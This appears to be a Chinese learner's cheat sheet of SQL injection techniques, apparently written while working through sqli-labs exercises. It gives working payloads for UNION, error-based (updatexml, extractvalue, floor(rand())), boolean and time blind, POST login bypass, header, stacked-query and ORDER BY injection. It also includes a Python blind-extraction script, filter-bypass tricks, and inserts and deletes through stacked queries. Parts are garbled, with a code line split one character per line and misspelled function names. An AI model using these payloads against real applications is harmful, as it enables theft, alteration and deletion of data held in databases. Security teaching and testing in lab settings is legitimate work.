基础
在?id= 后面加’ 或 " 或 and1=1 and1=2
字符型报错了,加 --+或)–+或))–+等 使它显示正确,
要注意的是:
如果代码是select * from 。。。where id=($id) 时没有报错时和数字型注入的情况一样,有报错的话就容易更判断,没有就再试试
显示报错且显示出列的情况下:
二分法order by 显示列数
union select 列数 ; 在显示列的那几列爆出数据库版本version(),数据库名database()等
再爆出表名
比如?id=-2313 union select 1,group_concat(table_name) from information_schema.tables where table_schema=‘数据库名’
爆出列名 union select 1,group_concat(column_name) from information_schema.tables where table_name=表名
爆数据 union select 1,group_concat(列1,char(32),列2.。。。。。) from 表名
有报错但没显示列:
仍然 ’ " and …
可以 :
order by
union select count(*),2,3,concat(database(),floor(rand()2) ) as a from information_schema.tables group by a
也可以
?id=1 and (select 1 from (select count(),concat(database())as a from informatoin_schema.tables group by a )b )
爆表名 就把database()改成(select table_name from information_schema.tables where table_schema=’…’)
爆列名和数据类似
还可以
?id=1 and updatexml(1,concat(0x22,dataabse() ),11 )
?id=1 and extractvalue(1,concat(0x22,database) )
盲注:
?id=1 and length(database())>1
?id=1 and ascii(substr((select database()),1,1 ) )>42
相似的爆出表名和列名数据
太麻烦了可以写个脚本
def ascii_one(low,top):
url="链接 "
while low<top:
mid=(low+top)//2
inject=" and ascii(substr((select database()),1,1))>{} --+ ".format(mid)
req=requests.get(url+inject)
if 'Angelina' in req.text:
low=mid
else:
top=mid
if low==top-1:
if ‘条件’ in req.text:
mid+=1
break
else:
break
print(chr(mid))
return mid
这里只是二分法爆出数据库第一个字符,要爆出库名还要知道数据库名的长度,可以写个脚本爆出,那么爆出完整名称只要加个 for i in range(database_length)循环就可以了
时间盲注也类似,加上个sleep(几秒),再加个判定时间的就可以,比如在执行前first=time()
执行后last=time(),条件判断写成 last-first=沉睡时间
post 注入
万能用户 a’ or 1=1 # 或 a’ or 1='1
这里用# 不是get 不能用–+
同样是判断闭合 试试 ’ " ') 等等
也可以用来爆出数据和上面类似 把 and 改成or
如果代码是更新数据库 可以用updatexml()语句,如果是update 数据的代码有风险,可能会把数据库的数据全部改变。
值得注意的是如果是更新数据那么在爆出数据的时候语句要改一下,因为不能又update 又select
改成这样:
or updatexml(1,concat(select username from (select username from users as a) b ),11 ) 这个由于是两个查询,要给他们起个别名a和b
cookie注入 http头注入 referer 注入就用插件在相应的地方加上注入语句,判断方法都是通用的
比如 ‘ or updatexml(。。。。。) #
绕过姿势积累中:
大小写绕过 UniOn
http参数污染 : ?id=1&id=2 在第二个后面加注入语句
过滤关键词 uniounionn selecSELECTt /!uniOn/ (这样的语句可以被使用)
宽字节是gbk编码时, 在 ’ 加反斜杠 时: ?id=1%dd’ 就变成了%dd’ 就是%dd%5c’
空格过滤 可用 %0a /**/ 等代替空格 and(1)=(1) 括号绕过空格
and or 过滤 用&& || 代替
编码绕过 转换成base_64 双url编码
–+ # 被过滤了就在后面闭合 and 1='1 之类
创建相似用户更改密码
less-24
创建abc用户密码为abc
再创个abc’ # 密码为abc
代码是这样"UPDATE users SET PASSWORD=‘
p
a
s
s
′
w
h
e
r
e
u
s
e
r
n
a
m
e
=
′
pass' where username='
pass′whereusername=′username’ and password=’$curr_pass’ ";
更改密码时把abc’ # 的密码更改后abc的密码也会更改 ,因为就是注入语句 在username那里生效
叠堆注入:
如果是像这样代码mysqli_multi_query 可以在语句后面加上 ;sql语句
比如?id=1 and 1=1; insert into …values()
?id=1 and 1=1;delete from … where …
order by 注入
数字类型通过在后面加desc asc判断字符型和普通判断方法一样
代码是"SELECT * FROM users ORDER BY $id"类似这样,可以用下面随便一种,查询列名和其他的就把select database() 换了就行了
?sort=1 and updatexml(…)
?sort=(updatexml(…))
?sort=(select 111 from (select count(*),concat((select database()),floor(rand()2)) as a from information_schema.tables group by a )b )
?sort=(select count() from information_schema.tables group by concat((select database() ),floor(rand()*2) ) )
还可以用rand(True/False)来判断
如果正确和错误显示的不同时就可以通过它来判断
盲注:
?sort=rand(length(database())>1 )
时间盲注:
?sort=1 and sleep() and length(database())>1
?sort=1 and if( (length(database() )>1), 1,sleep(5) )
其余的和普通时间盲注一样
值得注意的是如果order by 中有叠堆注入
?sort=1 and updatexml(…);insert into …
这样时,用updatexml报错后面的insert into 反而无法执行,原因现在还不清楚,还要继续学习